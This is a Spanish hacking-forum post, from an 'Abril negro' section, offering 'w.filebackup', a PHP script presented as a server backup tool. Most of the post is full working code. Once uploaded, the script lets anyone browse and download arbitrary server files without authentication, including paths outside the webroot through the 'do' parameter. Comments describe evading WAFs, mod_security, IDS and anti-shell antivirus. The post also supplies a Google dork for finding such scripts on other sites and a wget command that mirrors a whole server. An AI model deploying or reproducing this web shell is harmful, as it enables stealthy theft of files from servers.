Foro de elhacker.net

Seguridad Informática => Abril negro => Mensaje iniciado por: WHK en 5 Abril 2017, 23:56 pm



Título: w.filebackup (respaldador de archivos remoto automatizado)
Publicado por: WHK en 5 Abril 2017, 23:56 pm
w.filebackup

Hola, hace unos 3 o 4 años atrás hice un script en php, lo que hace es disponerse para hacer un respaldo de todos los archivos del servidor sin tener las limitaciones de tamaño.


¿Cómo funciona?

* No comprime para descargar un solo comprimido, esto previene el uso de disco cuando hay poco espacio.
* Descargar archivo por archivo de manera recursiva, esto previene problemas de termino de ejecución por tiempo fuera cuando el archivo es muy grande.
* Utiliza streaming byte por byte, esto previene el uso desmedido de memoria ram cuando necesitas descargar archivos muy grandes.
* No es detectado por la mayoría de los Firewalls o WAF, gracias a que utiliza enlaces permanentes de apache, así previene el envío de parámetros.


¿Cómo lo ejecuto?

Primeramente, subes el script a un servidor web, por ejemplo http://example.com/w.filebackup.php , ahora cuando veas el script desde el navegador se verá igual que la navegación de archivos de apache, con la diferencia de que no interpretará nada, solo descargará. Ahora, basta con realizar una descarga recursiva con wget y tendrás la descarga de todo el servidor:

Código:
wget -r -x -nH -np --cut-dirs=1 --no-check-certificate --post-data 'token=1' -e robots=off -U 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02011-10-16' http://example.com/w.filebackup.php

Enjoy y Feliz Abril Negro!

Código
  1. <?php
  2. /* w.filebackup.php V1.0 for Administrators by WHK
  3.  *
  4.  * Email: whk@elhacker.net
  5.  * Website: http://whk.elhacker.net/
  6.  *
  7.  * Uso Bash:
  8.  * --------
  9.  * mkdir page && cd page
  10.  * wget -r -x -nH -np --cut-dirs=1 --no-check-certificate --post-data 'token=1' -e robots=off -U 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02011-10-16' http://example.com/w.filebackup.php
  11.  * rm -rf w.filebackup.php*
  12.  *
  13.  * Uso WEB:
  14.  * --------
  15.  * http://web.page/w.filebackup.php
  16.  *
  17.  * Al enviar la variable "token" via HTTP/POST restringe la visualización
  18.  * de los directorios hasta la ruta actual del script, esto evita que el
  19.  * respaldo salga fuera del directorio planeado y cause una sobrecarga.
  20.  * Solo utilizar sin esta variable en caso de querer hacer una backup
  21.  * extrema con mucho tiempo libre.
  22.  *
  23.  * GoogleDork:
  24.  * ----------
  25.  * inurl:".php?do=/" + intitle:"index of"
  26.  *
  27.  * Legal:
  28.  * -----
  29.  * Uso esclusivo sobre servidores propios, nunca utilizar en servidores sin el consentimiento del administrador.
  30.  * El usuario es totalmente responsable de su utilización.
  31.  * En caso de no aceptar este acuerdo no debe ser utilizado.
  32.  *
  33.  * Compatible:
  34.  * ----------
  35.  * Este Script es compatible con servidores con safe mode en ON, servidores sin
  36.  * zlib, sin gz, servidores que no tienen acceso a la shell del sistema, servdiores
  37.  * con mod evasive y mod security, servdiores con firewalls y Antivirus antiShells.
  38.  * No se asegura su funcionalidad al 100% debido a posibles reglas de protección que
  39.  * impidan su normal funcionamiento.
  40.  */
  41. if($getPath = substr($_SERVER['PHP_SELF'], strlen($_SERVER['SCRIPT_NAME']))){
  42.  
  43. /* Procesa el archivo */
  44. if(is_file($getPath)){
  45.  
  46. /* Obtiene el tipo MIME */
  47. if(function_exists('mime_content_type')) {
  48. $mime = mime_content_type($getPath);
  49. }elseif(function_exists('finfo_file')){
  50. $info = finfo_open(FILEINFO_MIME);
  51. $mime = finfo_file($info, $getPath);
  52. finfo_close($info);
  53. }
  54. if(!$type)
  55. $mime = 'application/force-download';
  56. /* Establece las cabeceras */
  57. header('Content-Type: '.$mime);
  58. header('Content-Disposition: attachment; filename='.basename($getPath));
  59. header('Content-Transfer-Encoding: binary');
  60. header('Content-Length: '.filesize($getPath));
  61. /* Hacia el infinito y mas allá! */
  62. if(!@ini_get('safe_mode'))
  63. /* readfile($getPath); que sucede cuando el archivo es mas grande que
  64. * la capacidad de memoria ram asignada en php.ini como un iso, un gz
  65. * con una backup de cpanel o un video? */
  66. if($handle = fopen($getPath, 'r')){
  67.  
  68. /* utiliza bloques de 4kb en modo binario para no corromper el
  69. * contenido a descargar y evitar el uso desmedido de la memoria ram
  70. * y evitar el activado de alarmas de IDS y Firewalls */
  71. while(($buffer = fgets($handle, 4096)) !== false)
  72. echo $buffer;
  73. fclose($handle);
  74. }
  75. /* Procesa el directorio */
  76. }elseif(is_dir($getPath)){
  77. $absolutePath = $getPath;
  78. /* Si no es archivo ni directorio que es? */
  79. }else /* 404 */
  80. $err = 'File not found or access denied ( '.$getPath.' ).';
  81. }
  82. /* Utiliza variables que no sean tan fáciles de incluir en un
  83.  * mod security o alguna regla del firewall (do es utilizado
  84.  * por vbulletin). */
  85. if(isset($_GET['do']) and (is_dir($_GET['do'])))
  86. $absolutePath = $_GET['do'];
  87. if((!isset($absolutePath)) or (!$absolutePath))
  88. $absolutePath = dirname(__file__).'/';
  89. /* Restringe la URL si se solicita */
  90. if(isset($_POST['token']) and (strlen($absolutePath) < strlen(dirname(__file__).'/')))
  91. $absolutePath = dirname(__file__).'/';
  92. $items = array(
  93. 'glob' => array(),
  94. 'folders' => array(),
  95. 'files' => array()
  96. );
  97. // if($items['glob'] = glob($absolutePath.'*')){ glob() no encuentra los archivos ocultos como .htaccess
  98. if($items['glob'] = scandir($absolutePath)){
  99. foreach($items['glob'] as $item){
  100. if(!in_array($item, array('.','..'))){
  101. if(is_dir($absolutePath.$item))
  102. $items['folders'][] = $absolutePath.$item.'/';
  103. else
  104. $items['files'][] = $absolutePath.$item;
  105. }
  106. unset($item);
  107. }
  108. }
  109. unset($items['glob']);
  110. ?>
  111. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
  112. <html>
  113. <head>
  114. <title>Index of <?php echo htmlspecialchars($absolutePath, ENT_QUOTES); ?></title>
  115. </head>
  116. <body>
  117. <h1>Index of <?php echo htmlspecialchars($absolutePath, ENT_QUOTES); ?></h1>
  118. <?php if(isset($err)){ ?>
  119. <p><b><i><?php echo htmlspecialchars($err, ENT_QUOTES); ?></i></b></p>
  120. <?php } ?>
  121.  
  122. <ul>
  123. <?php if(!isset($_POST['token'])){ ?>
  124. <li>
  125. <a href="<?php echo $_SERVER['SCRIPT_NAME'].dirname(substr($absolutePath, 0, -1)); ?>/"> Parent Directory</a>
  126. </li>
  127. <?php } ?>
  128.  
  129. <?php if($items['files']){ ?>
  130. <?php foreach($items['files'] as $file){ ?>
  131. <li>
  132. <a href="<?php echo $_SERVER['SCRIPT_NAME'].$file; ?>"> <?php echo htmlspecialchars(basename($file), ENT_QUOTES); ?></a>
  133. </li>
  134. <?php } ?>
  135. <?php } ?>
  136.  
  137. <?php if($items['folders']){ ?>
  138. <?php foreach($items['folders'] as $folder){ ?>
  139. <li>
  140. <a href="<?php echo $_SERVER['SCRIPT_NAME'].'?do='.urlencode($folder); ?>"><?php echo htmlspecialchars(basename($folder), ENT_QUOTES); ?>/</a>
  141. </li>
  142. <?php } ?>
  143. <?php } ?>
  144.  
  145. </ul>
  146.  
  147. <address>
  148. <?php echo htmlspecialchars($_SERVER['SERVER_SOFTWARE'], ENT_QUOTES); ?> Server
  149. at <?php echo htmlspecialchars($_SERVER['HTTP_HOST'], ENT_QUOTES); ?>
  150. Port <?php echo (int)$_SERVER['SERVER_PORT']; ?>
  151. </address>
  152. </body>
  153. </html>
  154.  
  155. <?php
  156. /* Evita la ejecución arbitraria por un LFI o <preppendfile> */
  157.  

Mirror: https://github.com/WHK102/w.filebackup/blob/master/w.filebackup.php